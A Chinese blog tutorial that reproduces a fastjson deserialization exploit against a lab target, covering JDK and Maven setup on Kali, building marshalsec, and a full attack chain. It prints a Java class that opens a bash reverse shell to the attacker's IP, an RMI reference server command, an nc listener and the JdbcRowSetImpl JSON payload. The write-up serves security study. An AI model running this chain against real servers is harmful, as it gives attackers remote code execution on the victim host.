fastjson反序列化:利用RMI服务反弹恶意java类shell

发布时间 2023-03-28 20:20:38作者: Ben_JM

攻击主机环境的更换

在一台kali上首先默认的java环境是OPENjdk,这个版本的功能相对较低,所以利用起来功能不多,需要更换java环境
查看当前的java环境:有一条提示信息不用管不影响
image
image

删除现在已有的环境

apt-get purge openjdk-*
image

image

从上一台已经复现的靶机下载java环境,放在/opt/java下,没有目录可以自己创建
下面是本次操作java环境下载地址链接:
https://pan.baidu.com/s/1woOTioXyJYpnDIn6ttXglA?pwd=246y 提取码:246y

解压压缩包 tar -zxvf jdk-8u212-linux-x64.tar.gz
image

配置环境变量

修改/etc/profile文件
vim /etc/profile
添加下面的内容:
export JAVA_HOME=/opt/java/jdk1.8.0_212 //如果路径不同,需要路径换成自己的路径
export JRE_HOME=\({JAVA_HOME}/jre export CLASSPATH=.:\){JAVA_HOME}/lib:\({JRE_HOME}/lib export PATH=\){JAVA_HOME}/bin:${PATH}
按 Esc Shift+: 输入wq 保存并退出
image

更新系统环境变量

sudo update-alternatives --install "/usr/bin/java" "java" "/opt/java/jdk1.8.0_212/bin/java" 1
sudo update-alternatives --install "/usr/bin/javac" "javac" "/opt/java/jdk1.8.0_212/bin/javac" 1
sudo update-alternatives --install "/usr/bin/javaws" "javaws" "/opt/java/jdk1.8.0_212/bin/javaws" 1
sudo update-alternatives --install "/usr/bin/javaws" "javaws" "/opt/java/jdk1.8.0_212/bin/javaws" 1
image

设置默认的sdk

sudo update-alternatives --set java /opt/java/jdk1.8.0_212/bin/java
sudo update-alternatives --set javac /opt/java/jdk1.8.0_212/bin/javac
sudo update-alternatives --set javaws /opt/java/jdk1.8.0_212/bin/javaws
image

刷新配置 source /etc/profile ,并查看版本信息
image

安装maven管理工具

下载安装包
wget http://mirrors.cnnic.cn/apache/maven/maven-3/3.5.4/binaries/apache-maven-3.5.4-bin.tar.gz
解压
tar -zxvf apache-maven-3.5.4-bin.tar.gz
image
配置maven mvn,后面的路径为apache-maven-3.5.4所在目录
update-alternatives --install /usr/bin/mvn mvn /opt/java/apache-maven-3.5.4/bin/mvn 1
image

配置mvn环境变量

vim /etc/profile

添加内容

export MAVEN_HOME=/opt/java/apache-maven-3.5.4(apache-maven-3.5.4所在的目录)
export PATH=\(MAVEN_HOME/bin:\)PATH
image
刷新并查看版本信息
image

从另一台靶机下载marshalsec-master,并放到/opt/java目录
下载链接链接:https://pan.baidu.com/s/1ldsn2OuyAuG7ITnL4CYBMA?pwd=cjr4 提取码:cjr4
image
解压并进入当前目录
image
对该文件进行编译,这个过程需要很长时间,慢慢等就行
mvn clean package -DskipTests
image

攻击流程

利用的服务:Java RMI,远程方法调用(Remote Method Invocation)
解释一下fastjosn反序列化漏洞,本次是基于靶机上存在RMI服务,该服务可以通过使用反序列化进行一个攻击,攻击者利用恶意代码,将其利用burp拦截请求网站的报文,在报文中添加恶意的java代码,并在自己的主机上搭建攻击环境及以上的操作,搭建好的攻击环境相当于一台网站的服务器,利用恶意java代码,使请求的网站去主动请求攻击机的网站,同时,攻击机同样开启了端口监听,就是恶意java代码中的返回值,这个时候如果请求成功,利用RMI服务既可以返回一个shell这样就可以将请求主机就会执行java恶意代码,就会将shell返回,获得主机当前用户的权限。
创建一个TouchFile.java文件,直接使用vim编辑器,将以下代码粘贴进其中,其中IP地址为攻击主机的IP地址,因为返回的shell要返回我们的攻击机中,调用bin目录下的bash直接开启一个新的终端,新的会话,保存并推退出
image
import java.lang.Runtime; import java.lang.Process; public class TouchFile { static { try { Runtime rt = Runtime.getRuntime(); String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/192.168.20.34/1888 0>&1"}; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { // do nothing } } }
编译刚刚的java文件 javac TouchFile.java
image

在TouchFile.java所在目录,使用python搭建web服务,使用下面俩个哪个都行,此处使用python3

python2

python -m SimpleHTTPServer 8086(8086为web服务端口)

python3

python3 -m http.server //默认开启的端口号8000
python3 -m http.server 8656 //指定端口号8656
检测是否开启成功,用浏览器访问看是否有结果就知道了
image

开启RMI服务监听9999端口
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.20.34:8656/#TouchFile" 9999
image

开启nc监听
nc -lnvp 1888
image

攻击开始

访问fastjson并且使用burp抓包,目标靶机
image

将请求头中的GET修改为POST,并且在请求正文中添加payload并提交
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.20.34:9999/TouchFile",
"autoCommit":true
}
}
image

等待shell的返回,返回成功
image